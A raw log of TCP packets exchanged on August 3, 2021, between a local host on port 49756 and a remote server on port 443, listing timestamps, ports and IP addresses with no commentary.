Aug 3, 2021 20:39:43.207473993 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.207490921 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.207520008 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.207552910 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.207590103 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.207607031 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.207644939 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.207663059 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.207700014 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.207752943 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.207771063 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.207808971 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.207843065 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.207859039 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.207895041 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.207931042 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.207945108 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.207981110 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.208014965 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.208031893 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.208076954 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.208116055 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.208148003 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.208185911 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.208235025 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.208247900 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.208283901 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.208317995 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.208329916 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.208365917 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.208405018 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.208415031 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.208450079 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.208496094 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.208508968 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.208642006 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.208678961 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.208699942 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.208739996 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.208779097 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.208798885 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.208833933 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.208884001 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.208895922 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.208940029 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.208978891 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.208993912 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.209029913 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.209063053 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.209079981 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.209125996 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.209167957 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.246412039 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.246474028 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.246557951 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.298330069 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.298366070 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.298506975 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.347090006 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.389306068 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.389350891 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.389383078 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.389411926 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.389441967 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.389470100 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.389484882 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.389514923 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.389539003 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.389553070 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.389571905 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.389590025 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.389617920 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.389638901 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.389661074 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.389687061 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.389704943 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.389725924 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.389755011 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.389767885 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.389794111 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.389820099 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.389836073 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.389856100 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.389878988 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.389910936 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.389918089 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.389947891 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.389960051 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.389983892 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.390010118 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.390024900 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.390049934 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.390079021 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.390091896 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.390116930 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.390142918 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.390165091 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.390185118 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.390212059 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.390230894 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.390253067 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.390283108 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.390294075 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.390321970 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.390347958 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.390363932 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.390383005 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.390407085 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.390424967 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.390443087 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.390467882 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.390480995 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.390501976 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.390527964 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.390543938 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.390563965 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.390588045 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.390604019 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.390623093 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.390649080 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.390665054 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.390686035 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.390712023 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.390742064 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.390752077 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.390780926 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.390794039 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.390820026 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.390846014 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.390858889 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.390881062 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.390906096 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.390922070 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.390940905 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.390965939 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.390979052 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.391004086 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.391031981 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.391052008 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.391071081 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.391100883 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.391130924 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.391180992 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.391211033 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.391227961 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.391249895 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.391275883 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.391292095 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.391316891 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.391341925 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.391360044 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.391377926 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.391403913 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.391417027 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.391442060 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.391469955 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.391482115 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.391505003 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.391530037 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.391546011 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.391565084 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.391590118 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.391602993 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.391628981 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.391654968 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.391668081 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.391693115 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.391721010 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.391733885 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.391760111 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.391787052 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.391803026 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.391823053 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.391846895 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.391865015 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.391882896 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.391908884 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.391935110 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.391944885 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.391968966 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.391978979 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.392040014 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.392071009 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.392092943 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.392119884 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.392153025 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.392167091 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.392198086 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.392225981 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.392237902 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.392261982 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.392287016 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.392303944 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.392322063 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.392348051 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.392362118 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.392385006 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.392410994 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.392424107 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.392448902 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.392477036 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.392488956 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.392517090 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.392543077 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.392554998 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.392579079 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.392606974 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.392627001 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.392642975 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.392668009 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.392683029 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.392702103 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.392740965 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.426296949 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.426404953 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.426507950 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.478387117 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.478420019 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.478580952 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.493912935 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.542532921 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.572758913 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.572891951 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.572933912 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.572984934 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.573029995 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.573074102 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.573096037 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.573154926 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.573210001 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.573237896 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.573302984 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.573354006 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.573378086 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.573436022 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.573477030 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.573498011 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.573553085 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.573591948 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.573611021 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.573673964 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.573715925 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.573767900 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.573813915 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.573853016 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.573893070 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.573937893 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.574008942 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.574023008 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.574084997 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.574151039 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.574167013 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.574224949 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.574278116 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.574300051 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.574536085 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.574589968 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.574649096 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.574702024 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.574728012 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.574786901 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.574839115 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.574881077 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.574914932 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.574968100 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.574990988 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.575045109 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.575094938 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.575145006 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.575238943 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.575294018 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.575316906 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.575380087 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.575437069 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.575459957 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.575520039 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.575578928 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.575603008 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.575664997 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.575731993 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.575757980 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.575823069 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.575881958 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.575903893 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.575961113 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.576013088 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.576033115 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.576097012 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.576162100 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.576175928 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.576234102 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.576301098 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.576314926 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.576370955 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.576425076 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.576445103 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.576500893 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.576564074 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.576577902 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.576634884 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.576688051 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.576710939 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.576775074 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.576844931 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.576859951 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.576927900 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.576997995 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.577011108 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.577069998 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.577136040 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.577148914 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.577209949 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.577269077 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.577290058 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.577347994 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.577414036 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.577455044 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.577512980 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.577578068 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.577605009 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.577685118 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.577739000 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.577761889 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.577811003 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.577858925 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.577877998 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.577951908 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.578008890 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.578032970 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.578094959 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.578147888 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:43.578171968 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:43.578222990 CEST	443	49756	207.241.228.148	192.168.2.4
